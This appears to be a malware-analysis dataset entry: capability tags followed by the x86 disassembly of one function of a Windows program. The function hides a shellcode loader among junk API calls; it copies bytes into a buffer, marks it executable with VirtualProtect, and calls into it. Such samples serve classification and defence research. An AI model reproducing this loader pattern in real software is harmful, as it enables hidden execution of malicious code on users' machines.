Function at 0x40b050
Capabilities:
Allocate or change rwx memory
Check for software breakpoints
Connect pipe
Execute shellcode via indirect call
Get common file path
Get file attributes
Get geographical location
Set console window title
Set http header

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x410b86
mov eax, dword fs:[0]
push eax
sub esp, 0x898
mov eax, dword [0x45507c]
xor eax, esp
mov dword [esp + 0x890], eax
push ebx
push esi
push edi
mov eax, dword [0x45507c]
xor eax, esp
push eax
lea eax, [esp + 0x8a8]
mov dword fs:[0], eax
mov edx, dword [0x456d80]
mov ecx, dword [0x556ef4]
xor edi, edi
xor eax, eax
mov esi, 0xec58acac
cmp eax, 0x8450db
jne 0x40b0b2
lea ecx, [edx + 0xa231]
cmp ecx, 0x141
jne 0x40b0ca
mov dword [0x4584d0], esi
mov dword [0x4584d4], 0xffffffff
inc eax
cmp eax, 0xb9fa618
jl 0x40b0a5
mov ebx, dword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
mov dword [0x556ef4], ecx
xor esi, esi
cmp esi, 0x562d05
jne 0x40b0f2
mov eax, dword [0x456d74]
mov dword [0x55727c], eax
cmp ecx, 0x3c
jne 0x40b100
push edi
call ebx
mov ecx, dword [0x556ef4]
inc esi
cmp esi, 0x5f6c74
jl 0x40b0e0
cmp ecx, 0x7c
jne 0x40b29a
lea ecx, [esp + 0x24]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemTime]
push edi
push edi
call dword [sym.imp.USER32.dll_LoadIconA]
lea edx, [esp + 0x64]
push edx
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.USER32.dll_CopyRect]
push edi
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push edi
push edi
lea ecx, [esp + 0xa4]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push edi
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
mov esi, dword [sym.imp.KERNEL32.dll_FindAtomW]
push edi
call esi
call dword [sym.imp.KERNEL32.dll_GetThreadLocale]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
cmp dword [0x556ef4], 0x2d
jne 0x40b1af
push edi
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], edi
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x8b0], edi
mov ebx, 0xf
mov dword [esp + 0x3c], edi
lea edi, [ebx + 0x21]
lea esi, [esp + 0x2c]
mov dword [esp + 0x40], ebx
mov byte [esp + 0x2c], 0
call fcn.004011d0
push 1
lea ecx, [esp + 0x18]
mov byte [esp + 0x8b4], 1
call fcn.00401450
mov byte [esp + 0x8b0], 3
mov edi, dword [esp + 0x18]
test edi, edi
je 0x40b21f
mov eax, esi
mov dword [edi + 0x14], ebx
push eax
mov dword [edi + 0x10], 0
or eax, 0xffffffff
xor ebx, ebx
mov ecx, edi
mov byte [edi], 0
call fcn.004015a0
add edi, 0x1c
cmp dword [esp + 0x40], 0x10
jb 0x40b236
mov ecx, dword [esp + 0x2c]
push ecx
call fcn.00402479
add esp, 4
push 0
call fcn.00402484
mov dword [esp + 0x8b4], 0xffffffff
mov ebx, dword [esp + 0x18]
add esp, 4
test ebx, ebx
je 0x40b292
mov esi, ebx
cmp ebx, edi
je 0x40b289
lea esp, [esp]
cmp dword [esi + 0x14], 0x10
jb 0x40b271
mov eax, dword [esi]
push eax
call fcn.00402479
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
add esi, 0x1c
cmp esi, edi
jne 0x40b260
push ebx
call fcn.00402479
add esp, 4
mov ecx, dword [0x556ef4]
xor edi, edi
cmp ecx, 0x110a
jne 0x40b38a
push edi
push edi
push edi
push edi
mov dword [0x556ee8], edi
mov dword [0x556eec], edi
call dword [sym.imp.WINHTTP.dll_WinHttpAddRequestHeaders]
cmp dword [0x556ef4], 0xcc
jne 0x40b2d2
mov dword [0x4584c8], 0x14
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
push str.madedokecof
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push str.bohomecocomoxiwolepadewusavapexo
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
call fcn.00402211
mov edi, 7
xor edx, edx
xor ebx, ebx
add esp, 4
lea esi, [edi - 6]
lea eax, [esp + 0x2c]
mov dword [esp + 0x40], edi
mov dword [esp + 0x3c], ebx
mov word [esp + 0x2c], dx
call fcn.004012a0
push str.0__s__d__f
mov dword [esp + 0x8b4], 4
call fcn.00402322
add esp, 4
push ebx
call fcn.00402211
xor eax, eax
mov word [esp + 0x4c], ax
add esp, 4
lea eax, [esp + 0x48]
mov dword [esp + 0x5c], edi
mov dword [esp + 0x58], ebx
call fcn.004012a0
push ebx
call fcn.00402211
add esp, 4
push 0x452e70
push 0x457fd0
call fcn.00401ce4
push ebx
call fcn.00402462
add esp, 0xc
push ebx
call fcn.0040276e
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ecx, dword [0x556ef4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor esi, esi
mov dword [0x556c18], eax
cmp dword [0x556ef4], edi
jbe 0x40b3fd
mov ebx, dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
jmp 0x40b3c0
mov edx, dword [0x55727c]
mov dword [esp + 0x14], edx
mov eax, 0xa231
add dword [esp + 0x14], eax
cmp dword [0x556ef4], 0x5ab
mov eax, dword [esp + 0x14]
mov cl, byte [eax + esi]
mov edx, dword [0x556c18]
mov byte [edx + esi], cl
jne 0x40b3f4
push edi
push edi
push edi
call ebx
inc esi
cmp esi, dword [0x556ef4]
jb 0x40b3c0
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push 0x452e74
call esi
mov ecx, dword [0x556ef4]
mov edx, dword [0x556c18]
lea eax, [esp + 0x28]
push eax
push 0x40
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [0x556ef4]
mov ecx, dword [0x556c18]
mov edi, dword [0x455f60]
mov ebx, eax
mov dword [esp + 0x24], ecx
cmp eax, 0x930
jne 0x40b450
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov eax, dword [0x556ef4]
mov dword [0x4584cc], edi
cmp eax, 0x114e
jne 0x40b472
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0
call esi
mov eax, dword [0x556ef4]
cmp eax, 0x2f
jne 0x40b4a8
xor ecx, ecx
lea eax, [esp + 0x14]
push eax
push ecx
xor edx, edx
push edx
lea eax, [esp + 0x1c]
push eax
push ecx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputA]
push 0
lea ecx, [esp + 0xa0]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
mov edx, dword [esp + 0x24]
push edx
mov edi, ebx
call fcn.0040aee0
add dword [0x556c18], 0
mov edi, dword [sym.imp.USER32.dll_GetMonitorInfoW]
mov ebx, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
add esp, 4
xor esi, esi
nop
lea eax, [esp + 0x74]
push eax
push 0
call edi
push 0
push 0
push 0
call ebx
cmp esi, 0x1a01e
jle 0x40b4f3
cmp dword [esp + 0x7c], 0xf5bed7
jne 0x40b4fc
inc esi
cmp esi, 0x1ece7a52
jl 0x40b4d0
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleDisplayMode]
mov edi, dword [sym.imp.KERNEL32.dll_CreateFileA]
xor esi, esi
cmp dword [0x556ef4], 0xcc1
jne 0x40b51e
push 0
push 0
push 0
call ebx
cmp esi, 0x12e6c3
jne 0x40b532
mov eax, dword [0x556c18]
mov dword [0x556ef0], eax
call eax
cmp dword [0x556ef4], 0x3dc
mov dword [0x556c1c], 0x8e46a6f0
jne 0x40b55b
push 0
push 0
push 0
push 0
push 0
push 0
push str.vuyareyifovonij
call edi
inc esi
cmp esi, 0x1519a5
jl 0x40b50a
mov ecx, dword [esp + 0x8a8]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x890]
xor ecx, esp
call fcn.00401cd5
mov esp, ebp
pop ebp
ret